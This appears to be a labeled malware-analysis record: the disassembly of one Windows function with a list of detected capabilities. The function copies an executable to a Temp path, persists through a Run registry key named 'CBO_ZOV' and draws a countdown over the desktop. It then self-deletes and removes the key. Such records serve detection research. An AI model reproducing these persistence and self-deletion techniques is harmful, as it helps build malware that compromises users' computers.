Function at 0x140002be0
Capabilities:
Create thread
Delete registry value
Execute command
Persist via run registry key
Query environment variable
Read file on windows
Self delete
Set registry value
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x318
mov rsi, rdx
lea rbx, [rsp + 0x210]
call fcn.140001680
mov r9, qword [rsi]
mov edx, 0x100
mov rcx, rbx
lea r8, str.copy__y___s_____USERPROFILE__AppDataLocalTemp_fcf8f217_9d91_4ade_8396_62be2f3a505a.exe_
lea rsi, str.USERPROFILE
call fcn.1400026c0
mov rcx, rbx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
mov rcx, rsi
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
lea r8, str._sAppDataLocalTemp_fcf8f217_9d91_4ade_8396_62be2f3a505a.exe
mov edx, 0x100
mov rcx, rbx
xchg r9, rax
call fcn.1400026c0
lea rdx, [rsp + 0xb8]
mov ecx, 0x20006
call qword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x20], rbx
lea r8, str.CBO_ZOV
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [rsp + 0x28], eax
push 1
pop r9
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8, [0x140001450]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rsi
mov qword [rsp + 0x88], rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
lea r8, str._sAppDataLocalTemp_fcf8f217_9d91_4ade_8396_62be2f3a505a.tmp
mov edx, 0x100
mov rcx, rbx
xchg r9, rax
call fcn.1400026c0
lea rdx, [0x1400051ad]
mov rcx, rbx
and qword [rsp + 0xc0], 0
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
xchg rsi, rax
test rsi, rsi
je 0x140002d1c
lea rcx, [rsp + 0xc0]
push 1
pop r8
mov r9, rsi
push 8
pop rdx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, rbx
lea rdx, [0x1400051b0]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x68], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
xchg rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
and qword [rsp + 0x20], 0
mov ecx, 0x172
mov ebx, dword [rsp + 0xd8]
mov ebp, dword [rsp + 0xdc]
sub ebx, dword [rsp + 0xd0]
sub ebp, dword [rsp + 0xd4]
push 0x20
pop r9
push 1
pop r8
push 0x70
pop rdx
call qword [sym.imp.GDI32.dll_CreateBitmap]
xor ecx, ecx
xchg rsi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdx, rsi
xchg r15, rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov r12, qword [sym.imp.GDI32.dll_SetBkColor]
mov edx, 0xffffff
mov rcx, r15
call r12
xor edx, edx
mov rdi, qword [sym.imp.GDI32.dll_SetTextColor]
mov rcx, r15
call rdi
mov rsi, qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ecx, 0xffffff
movabs rax, 0x2000000172
mov qword [rsp + 0xe8], rax
and qword [rsp + 0xe0], 0
call rsi
lea r9, [rsp + 0xe0]
mov rcx, r15
mov r13, qword [sym.imp.USER32.dll_FillRect]
mov qword [rsp + 0x78], r9
mov rdx, r9
xchg r8, rax
call r13
mov r9, qword [rsp + 0x78]
lea rdx, [0x1400051b4]
mov rcx, r15
mov dword [rsp + 0x20], 1
mov r14, qword [sym.imp.USER32.dll_DrawTextW]
push 0xffffffffffffffff
pop r8
call r14
xor edx, edx
mov rcx, r15
call r12
mov edx, 0xffffff
mov rcx, r15
xor r12d, r12d
call rdi
xor ecx, ecx
call rsi
mov esi, 1
xor ecx, ecx
mov qword [rsp + 0x90], rax
mov eax, 5
shl rsi, 0x25
shl rax, 0x24
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0xf0], rax
movabs rax, 0x7000000172
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x108], rax
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
push 2
pop rcx
xchg rsi, rax
lea eax, [rbp - 0x150]
cdq
idiv ecx
mov dword [rsp + 0x98], eax
lea eax, [rbx - 0x456]
cdq
idiv ecx
mov dword [rsp + 0x9c], eax
xor ecx, ecx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov rdx, qword [rsp + 0xc0]
xchg rbx, rax
mov rax, rsi
add rdx, rbx
sub rax, rdx
add rax, 0x2d
test rax, rax
jle 0x1400030b4
mov ecx, 0x15180
cqo
mov r8, qword [rsp + 0x90]
idiv rcx
mov ecx, 0xe10
mov rbp, rdx
mov qword [rsp + 0xa0], rax
xchg rbp, rax
cqo
idiv rcx
mov rcx, r15
xchg rbp, rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0x78], rax
xchg rdx, rax
call r13
lea rax, [rsp + 0x110]
lea r8, [0x140005030]
mov qword [rsp + 0x80], rax
push 0x3c
pop rcx
mov rax, qword [rsp + 0xa8]
mov r9d, dword [rsp + 0xa0]
cqo
mov dword [rsp + 0x20], ebp
idiv rcx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x30], rdx
mov edx, pe_nt_image_headers64
mov dword [rsp + 0x28], eax
call fcn.14000154d
mov dword [rsp + 0x20], 1
mov r9, qword [rsp + 0x78]
mov rcx, r15
push 0xffffffffffffffff
pop r8
mov rdx, qword [rsp + 0x80]
call r14
cmp dword [0x140008030], 0
je 0x140002fa3
lea r12, [rbx + 2]
and dword [0x140008030], 0
jmp 0x140002fa8
cmp r12, rbx
jle 0x140002fe0
mov edx, 0xff
mov rcx, r15
call rdi
mov dword [rsp + 0x20], 0x11
lea r9, [rsp + 0xf0]
mov rcx, r15
push 0xffffffffffffffff
lea rdx, [0x14000524e]
pop r8
call qword [sym.imp.USER32.dll_DrawTextW]
mov edx, 0xffffff
mov rcx, r15
call rdi
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowDC]
xchg rbp, rax
test rbp, rbp
je 0x14000312f
mov r8d, dword [rsp + 0x98]
mov edx, dword [rsp + 0x9c]
mov dword [rsp + 0x50], 0xcc0020
mov r9d, 0x456
mov dword [rsp + 0x48], 0x70
mov rcx, rbp
mov dword [rsp + 0x40], 0x172
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x150
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
call qword [sym.imp.GDI32.dll_StretchBlt]
mov rcx, qword [rsp + 0x70]
mov rdx, rbp
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, rbx
push 0xa
pop rcx
cqo
idiv rcx
test rdx, rdx
jne 0x1400030a4
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
add rbx, qword [rsp + 0xc0]
mov r9, qword [rsp + 0x68]
lea rcx, [rsp + 0xc8]
sub rbx, rsi
mov qword [rsp + 0xc8], rbx
push 1
pop r8
push 8
pop rdx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rcx, qword [rsp + 0x68]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002eb1
mov rcx, qword [rsp + 0x68]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, str.start_explorer.exe
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rcx, str.del__q__USERPROFILE_AppDataLocalTemp_fcf8f217_9d91_4ade_8396_62be2f3a505a.tmp
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rcx, str.del__q__USERPROFILE_AppDataLocalTemp_fcf8f217_9d91_4ade_8396_62be2f3a505a.exe
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rdx, [rsp + 0xb8]
mov ecx, 0x20006
call qword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
mov rcx, qword [rsp + 0xb8]
lea r8, str.CBO_ZOV
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueA]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add rsp, 0x318
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret